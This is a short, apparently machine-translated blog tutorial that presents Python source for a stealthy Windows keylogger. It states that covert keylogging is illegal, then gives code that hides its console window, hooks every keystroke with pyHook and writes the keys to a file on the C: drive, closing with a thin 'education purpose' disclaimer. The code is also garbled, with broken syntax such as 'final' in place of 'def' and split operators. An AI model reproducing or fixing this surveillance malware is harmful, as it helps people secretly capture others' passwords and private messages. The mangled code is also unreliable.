So the installation of a keylogger on a computer without the knowledge of the rightful owner, is configured as a real crime of violation of privacy: the intercepted data (chat sessions, usernames and passwords, email, ...) in fact are usually saved to a log file that the owner of the keylogger retrieve it later or even the are automatically sent via email.
Educational purposes only, we will see how we can create a simple keylogger fully functional, using the Python. Here are the steps to follow: import WIN32API
import win32console
import win32gui
import pythoncom, pyHook
win32console.GetConsoleWindow win = ()
win32gui.ShowWindow (win, 0)
final OnKeyboardEvent (event):
if event.Ascii == 5:
_exit (1)
if event.Ascii! = 0 or 8:
f = open ( 'c: \ output.txt', 'r')
buffer = f.read ()
f.close ()
f = open ( 'c: \ output.txt', 'w')
keylogs = chr (event.Ascii)
if event.Ascii == 13:
keylogs = '/ n'
buffer + = keylogs
f.write (buffer)
f.close ()
hm = pyHook.HookManager ()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard ()
pythoncom.PumpMessages ()
6.Use any way use like....
This is use for education purpose. Please Dont no use illegally....